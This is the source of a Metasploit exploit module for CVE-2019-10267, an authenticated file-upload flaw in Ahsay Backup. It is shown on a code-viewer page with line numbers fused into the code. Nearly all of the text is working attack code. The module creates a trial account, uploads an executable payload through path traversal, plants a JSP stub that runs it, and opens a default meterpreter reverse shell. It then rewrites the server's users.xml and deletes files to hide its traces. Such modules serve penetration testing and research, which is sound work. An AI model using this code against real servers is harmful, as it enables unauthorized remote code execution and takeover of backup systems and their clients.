Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/misc/ahsay_backup_fileupload.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking7include Msf::Exploit::Remote::HttpClient8include Msf::Exploit::EXE9include Msf::Exploit::FileDropper10include REXML1112def initialize(info = {})13super(update_info(info,14'Name' => 'Ahsay Backup v7.x-v8.1.1.50 (authenticated) file upload',15'Description' => %q{16This module exploits an authenticated insecure file upload and code17execution flaw in Ahsay Backup v7.x - v8.1.1.50. To succesfully execute18the upload credentials are needed, default on Ahsay Backup trial19accounts are enabled so an account can be created.2021It can be exploited in Windows and Linux environments to get remote code22execution (usualy as SYSTEM). This module has been tested successfully23on Ahsay Backup v8.1.1.50 with Windows 2003 SP2 Server. Because of this24flaw all connected clients can be configured to execute a command before25the backup starts. Allowing an attacker to takeover even more systems26and make it rain shells!2728Setting the CREATEACCOUNT to true will create a new account, this is29enabled by default.30If credeantials are known enter these and run the exploit.31},32'Author' =>33[34'Wietse Boonstra'35],36'License' => MSF_LICENSE,37'References' =>38[39[ 'CVE', '2019-10267'],40[ 'URL', 'https://www.wbsec.nl/ahsay/' ],41[ 'URL', 'http://ahsay-dn.ahsay.com/v8/81150/cbs-win.exe' ]42],43'Privileged' => true,44'Platform' => 'win',45'DefaultOptions' => {46'RPORT' => 443,47'SSL' => true,48'PAYLOAD' => 'windows/meterpreter/reverse_tcp'49},50'Targets' =>51[52[ 'Windows x86',53{54'Arch' => ARCH_X86,55'Platform' => 'win'56}57],58[ 'Linux x86', # should work but untested59{60'Arch' => ARCH_X86,61'Platform' => 'linux'62},63],6465],66'DefaultTarget' => 0,67'DisclosureDate' => '2019-06-01'))6869register_options(70[71Opt::RPORT(443),72OptString.new('TARGETURI', [true, 'Path to Ahsay', '/']),73OptString.new('USERNAME', [true, 'Username for the (new) account', Rex::Text.rand_text_alphanumeric(8)]),74OptString.new('PASSWORD', [true, 'Password for the (new) account', Rex::Text.rand_text_alpha(8) + Rex::Text.rand_text_numeric(5) + Rex::Text.rand_char("","!$%^&*")]),75OptString.new('CREATEACCOUNT', [false, 'Create Trial account', 'false']),76OptString.new('UPLOADPATH', [false, 'Payload Path', '../../webapps/cbs/help/en']),7778])79end8081def is_trial_enabled?82res = send_request_cgi({83'uri' => normalize_uri(target_uri.path, 'obs','obm7','user','isTrialEnabled'),84'method' => 'POST',85'data' => ''86})87if res and res.code == 200 and "ENABLED" =~ /#{res.body}/88return true89else90return false91end92end9394def check_account?95headers = create_request_headers96res = send_request_cgi({97'uri' => normalize_uri(target_uri.path, 'obs','obm7','user','getUserProfile'),98'method' => 'POST',99'data' => '',100'headers' => headers101})102if res and res.code == 200103print_good("Username and password are valid!")104return true105elsif res and res.code == 500 and "USER_NOT_EXIST" =~ /#{res.body}/106# fail_with(Failure::NoAccess, 'Username incorrect!')107print_status("Username does not exist.")108return false109elsif res and res.code == 500 and "PASSWORD_INCORRECT" =~ /#{res.body}/110# fail_with(Failure::NoAccess, 'Username exists but password incorrect!')111print_status("Username exists but password incorrect!")112return false113else114return false115end116end117118def create_request_headers119headers = {}120username = Rex::Text.encode_base64(datastore['USERNAME'])121password = Rex::Text.encode_base64(datastore['PASSWORD'])122headers['X-RSW-custom-encode-username'] = username123headers['X-RSW-custom-encode-password'] = password124headers125end126127def exploit128username = datastore['USERNAME']129password = datastore['PASSWORD']130131if is_trial_enabled? and datastore['CREATEACCOUNT'] == "true"132if username == "" or password == ""133fail_with(Failure::NoAccess, 'Please set a username and password')134else135#check if account does not exist?136if !check_account?137# Create account and check if it is valid138if create_account?139drop_and_execute()140else141fail_with(Failure::NoAccess, 'Failed to authenticate')142end143else144#Need to fix, check if account exist145print_good("No need to create account, already exists!")146drop_and_execute()147end148end149elsif username != "" and password != ""150if check_account?151drop_and_execute()152else153if is_trial_enabled?154fail_with(Failure::NoAccess, 'Username and password are invalid. But server supports trial accounts, you can create an account!')155end156fail_with(Failure::NoAccess, 'Username and password are invalid')157end158else159fail_with(Failure::UnexpectedReply, 'Missing some settings')160end161end162163def create_account?164headers = create_request_headers165res = send_request_cgi({166'uri' => normalize_uri(target_uri.path, 'obs','obm7','user','addTrialUser'),167'method' => 'POST',168'data' => '',169'headers' => headers170})171# print (res.body)172if res and res.code == 200173print_good("Account created")174return true175elsif res.body.include?('LOGIN_NAME_IS_USED')176fail_with(Failure::NoAccess, 'Username is in use!')177elsif res.body.include?('PWD_COMPLEXITY_FAILURE')178fail_with(Failure::NoAccess, 'Password not complex enough')179else180fail_with(Failure::UnexpectedReply, 'Something went wrong!')181end182end183184def remove_account185if datastore['CREATEACCOUNT']186username = datastore['USERNAME']187users_xml = "../../conf/users.xml"188print_status("Looking for account #{username} in #{users_xml}")189xml_doc = download(users_xml)190xmldoc = Document.new(xml_doc)191el = 0192xmldoc.elements.each("Setting/Key") do |e|193el = el + 1194e.elements.each("Value") do |a|195if a.attributes["name"].include?('name')196if a.attributes["data"].include?(username)197print_good("Found account")198xmldoc.root.elements.delete el199print_status("Removed account")200end201end202end203end204new_xml = xmldoc.root205print_status("Uploading new #{users_xml} file")206upload(users_xml, new_xml.to_s)207print_good("Account is inaccesible when service restarts!")208end209end210211def prepare_path(path)212if path.end_with? '/'213path = path.chomp('/')214end215path216end217218def drop_and_execute()219path = prepare_path(datastore['UPLOADPATH'])220exploitpath = path.gsub("../../webapps/cbs/",'')221exploitpath = exploitpath.gsub("/","\\\\\\")222requestpath = path.gsub("../../webapps/",'')223224#First stage payload creation and upload225exe = payload.encoded_exe226exe_filename = Rex::Text.rand_text_alpha(10)227exefileLocation = "#{path}/#{exe_filename}.exe"228print_status("Uploading first stage payload.")229upload(exefileLocation, exe)230#../../webapps/cbs/help/en231exec = %Q{<% Runtime.getRuntime().exec(getServletContext().getRealPath("/") + "#{exploitpath}\\\\#{exe_filename}.exe");%>}232233#Second stage payload creation and upload234jsp_filename = Rex::Text.rand_text_alpha(10)235jspfileLocation = "#{path}/#{jsp_filename}.jsp"236print_status("Uploading second stage payload.")237upload(jspfileLocation, exec)238proto = ssl ? 'https' : 'http'239url = "#{proto}://#{datastore['RHOST']}:#{datastore['RPORT']}" + normalize_uri(target_uri.path, "#{requestpath}/#{jsp_filename}.jsp")240241#Triggering the exploit242print_status("Triggering exploit! #{url}" )243res = send_request_cgi({244'uri' => normalize_uri(target_uri.path, "#{requestpath}/#{jsp_filename}.jsp"),245'method' => 'GET'246})247if res and res.code == 200248print_good("Exploit executed!")249end250251#Cleaning up252print_status("Cleaning up after our selfs.")253remove_account254print_status("Trying to remove #{exefileLocation}, but will fail when in use.")255delete(exefileLocation)256delete(jspfileLocation)257delete("../../user/#{datastore['USERNAME']}",true)258end259260def upload(fileLocation, content)261username = Rex::Text.encode_base64(datastore['USERNAME'])262password = Rex::Text.encode_base64(datastore['PASSWORD'])263uploadPath = Rex::Text.encode_base64(fileLocation)264265headers = {}266headers['X-RSW-Request-0'] = username267headers['X-RSW-Request-1'] = password268headers['X-RSW-custom-encode-path'] = uploadPath269res = send_request_raw({270'uri' => normalize_uri(target_uri.path, 'obs','obm7','file','upload'),271'method' => 'PUT',272'headers' => headers,273'data' => content,274'timeout' => 20275})276if res && res.code == 201277print_good("Succesfully uploaded file to #{fileLocation}")278else279fail_with(Failure::Unknown, "#{peer} - Server did not respond in an expected way")280end281end282283def download(fileLocation)284#TODO make vars_get variable285print_status("Downloading file")286username = Rex::Text.encode_base64(datastore['USERNAME'])287password = Rex::Text.encode_base64(datastore['PASSWORD'])288headers = {}289headers['X-RSW-Request-0'] = username290headers['X-RSW-Request-1'] = password291res = send_request_cgi({292#/obs/obm7/file/download?X-RSW-custom-encode-path=../../conf/users.xml293'uri' => normalize_uri(target_uri.path, 'obs','obm7','file','download'),294'method' => 'GET',295'headers' => headers,296'vars_get' => {297'X-RSW-custom-encode-path' => fileLocation298}299})300301if res and res.code == 200302res.body303end304end305306def delete(fileLocation, recursive=false)307print_status("Deleting file #{fileLocation}")308username = Rex::Text.encode_base64(datastore['USERNAME'])309password = Rex::Text.encode_base64(datastore['PASSWORD'])310headers = {}311headers['X-RSW-Request-0'] = username312headers['X-RSW-Request-1'] = password313res = send_request_cgi({314#/obs/obm7/file/delete?X-RSW-custom-encode-path=../../user/xyz315'uri' => normalize_uri(target_uri.path, 'obs','obm7','file','delete'),316'method' => 'DELETE',317'headers' => headers,318'vars_get' => {319'X-RSW-custom-encode-path' => fileLocation,320'recursive' => recursive321}322})323324if res and res.code == 200325res.body326end327end328329def check330#We need a cookie first331cookie_res = send_request_cgi({332#/cbs/system/ShowDownload.do333'uri' => normalize_uri(target_uri.path, 'cbs','system','ShowDownload.do'),334'method' => 'GET'335})336337if cookie_res and cookie_res.code == 200338cookie = cookie_res.get_cookies.split()[0]339else340return Exploit::CheckCode::Unknown341end342343if defined?(cookie)344#request the page with all the clientside software links.345headers = {}346headers['Cookie'] = cookie347link = send_request_cgi({348#/cbs/system/ShowDownload.do349'uri' => normalize_uri(target_uri.path, 'cbs','system','download','indexTab1.jsp'),350'method' => 'GET',351'headers' => headers352})353354if link and link.code == 200355link.body.each_line do |line|356#looking for the link that contains obm-linux and ends with .sh357if line.include? '<a href="/cbs/download/' and line.include? '.sh' and line.include? 'obm-linux'358filename = line.split("<a")[1].split('"')[1].split("?")[0]359filecontent = send_request_cgi({360#/cbs/system/ShowDownload.do361'uri' => normalize_uri(target_uri.path, filename),362'method' => 'GET',363'headers' => headers364})365if filecontent and filecontent.code == 200366filecontent.body.each_line do |l|367if l.include? 'VERSION="'368number = l.split("=")[1].split('"')[1]369if number.match /(\d+\.)?(\d+\.)?(\d+\.)?(\*|\d+)$/370if number <= '8.1.1.50' and not number < '7'371return Exploit::CheckCode::Appears372else373return Exploit::CheckCode::Safe374end375end376end377end378else379return Exploit::CheckCode::Unknown380end381end382end383else384return Exploit::CheckCode::Unknown385end386else387return Exploit::CheckCode::Unknown388end389390end391end392393394